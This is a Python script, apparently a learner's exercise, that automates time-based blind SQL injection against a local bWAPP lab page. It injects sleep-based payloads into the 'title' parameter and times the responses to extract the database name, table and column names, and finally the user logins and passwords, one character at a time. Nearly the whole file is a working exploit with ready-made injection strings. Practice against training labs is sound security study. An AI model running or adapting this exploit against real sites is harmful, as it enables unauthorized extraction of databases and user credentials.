"""

@Project : 脚本文件python
@File : Time_base.py
@Auther : Crabin
@Time : 2022/10/11 17:21

"""

import requests
import time

re = requests.session()
PARAMS = {
    "login": "bee",
    "password": "bug",
    "security_level": 0,
    "form": "submit"
}
# do_login = re.post("http://localhost:82/login.php",data = PARAMS)
# print(do_login.content)
# print(do_login.cookies)
HEADER = {
    "Cookie": "security_level=0; PHPSESSID=irrvm0bqo1nd7d3tufvirale43"
}
BASE_URL = "http://localhost:82/sqli_15.php?"

# 获取数据库名的长度
def get_databese_name_length() -> int:
    # Iron Man' and LENGTH(DATABASE()) = 1 and sleep(1)
    count = 0
    for i in range(100):
        url = BASE_URL + "title=Iron Man' and LENGTH(DATABASE()) = {} and sleep(2) -- &action=search".format(i)
        time1 = time.time()
        resp = requests.get(url ,headers= HEADER)
        if time.time() - time1 > 1:
            # print("数据库长度为：{}".format(i))
            count = i
            break
    return count

# 得到数据库名字
def get_database_name(count) -> str:
    base_name = ""
    for i in range(count + 1):
        for j in range(33, 127):
            url = BASE_URL + "title=Iron Man' and ASCII(SUBSTR(database(),{},1)) = {} and sleep(2) -- &action=search".format(
                i, j)
            time1 = time.time()
            resp = requests.get(url,headers= HEADER)
            if time.time() - time1 > 1:
                # print("数据库长度为：{}".format(i))
                base_name += chr(j)
                break
    return base_name

#得到这个数据中的表的个数
def get_table_count() -> int:
    #Iron Man' (SELECT count(table_name) from information_schema.TABLES WHERE table_schema = database()) = 1 and sleep(1)

    table_count = 0
    for i in range(100):
        url = BASE_URL + "title=Iron Man' and (SELECT count(table_name) from information_schema.TABLES WHERE table_schema = database()) = {} and sleep(2)-- &action=search".format(i)
        time1 = time.time()
        resp = requests.get(url, headers=HEADER)
        if time.time() - time1 > 1:
            table_count = i
            break

    return table_count

# 得到每个表的长度
def get_table_length_of_each_table(count):
    #(SELECT LENGTH(table_name) from information_schema.TABLES WHERE table_schema = database() LIMIT 1,1) = 1 and sleep(1)
    res = []
    for i in range(count+1):
        for j in range(100):
            url = BASE_URL + "title=Iron Man' and (SELECT LENGTH(table_name) from information_schema.TABLES WHERE table_schema = database() LIMIT {},1) = {} and sleep(2)-- &action=search".format(i,j)
            time1 = time.time()
            resp = requests.get(url, headers=HEADER)
            if time.time() - time1 > 1:
                print("++++++++++++长度：{}".format(j))
                table_name = get_table_name_of_each_table(i,j)
                res.append(j)
                res.append(table_name)
                break
    return res

# 得到每个表的名称
def get_table_name_of_each_table(index,count):
    # SUBSTR((SELECT table_name from information_schema.TABLES WHERE table_schema = database() LIMIT 1,1) and sleep(1),1,1) = {}
    name = ""
    for i in range(count + 1):

        for j in range(33,127):
            url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT table_name from information_schema.TABLES WHERE table_schema = database() LIMIT {},1),{},1)) = {} and sleep(2)-- &action=search".format(index,i, j)
            time1 = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - time1 > 1:
                # print(chr(j))
                name += chr(j)
                break
    print(name)
    return name

# 已知我们需要的信息在users表中

# 得到users中的字段个数
def get_column_count(table_name):
    # (SELECT LENGTH(COLUMN_NAME) from information_schema.COMMITS WHERE table_name = {} LIMIT 1,1) = 1

    column_count = 0
    for i in range(100):
        url = BASE_URL + "title=Iron Man' and (SELECT count(COLUMN_NAME) from information_schema.COLUMNS WHERE table_name = '{}') = {} and sleep(2)-- &action=search".format(table_name,i)
        time1 = time.time()
        resp = requests.get(url, headers=HEADER)
        if time.time() - time1 > 1:
            column_count = i
            print("字段个数为：{}".format(i))
            break

    return column_count

# 得到每个字段的长度
def get_column_length_of_each_column(table_name ,count):
    # (SELECT LENGTH(column_name) from information_schema.COLUMNS WHERE table_name = {} LIMIT 1,1) = 1 ;

    res = []
    for i in range(count + 1):
        for j in range(100):
            url = BASE_URL + "title=Iron Man' and (SELECT LENGTH(column_name) from information_schema.COLUMNS WHERE table_name = '{}' LIMIT {},1) = {} and sleep(2)-- &action=search".format(
                table_name, i, j)
            time1 = time.time()
            resp = requests.get(url, headers=HEADER)
            if time.time() - time1 > 1:
                print("++++++++++++长度：{}".format(j))
                column_name = get_column_name_of_each_column(table_name,i,j)
                res.append(j)
                res.append(column_name)
                print(res)
                break
    return res

# 获取每一个字段名称
def get_column_name_of_each_column(table_name,index,count):
    # ascii(SUBSTR((SELECT column_name from information_schema.COLUMNS WHERE table_name = {} LIMIT 1,1),1,1) = {})；

    name = ""
    for i in range(count + 1):

        for j in range(33, 127):
            url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT column_name from information_schema.COLUMNS WHERE table_name = '{}' LIMIT {},1),{},1)) = {} and sleep(2)-- &action=search".format(
               table_name, index, i, j)
            time1 = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - time1 > 1:
                # print(chr(j))
                name += chr(j)
                break
    print(name)
    return name

def get_username_password():
    # ascii(SUBSTR((SELECT concat(login,password) from users LIMIT 1,1),1,1) = {})；
    res = []
    info = ""
    for i in range(100):
        index = 1
        for j in range(33,127):
            url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT concat(login,' @pwd: ',password) from users LIMIT 0,1),{},1)) = {} and sleep(2)-- &action=search"\
                .format(i,j)
            time1 = time.time()
            requests.get(url,headers=HEADER)
            if time.time() - time1 > 1:
                info += chr(j)
                break
        print(info)
    res.append(info)
    return res


if __name__ == '__main__':
    # base_len = get_databese_name_length()
    # print("数据库长度为：{}".format(base_len))
    # base_name = get_database_name(base_len)
    # print("数据库名称：" + base_name)
    # table_count =  get_table_count()
    # print("表的个数为：{}".format(table_count))

    # get_table_length_of_each_table(table_count)
    # get_column_count("users")
    # list = get_column_length_of_each_column("users",9)

    # 分析出来需要admin 和 password字段
    get_username_password()


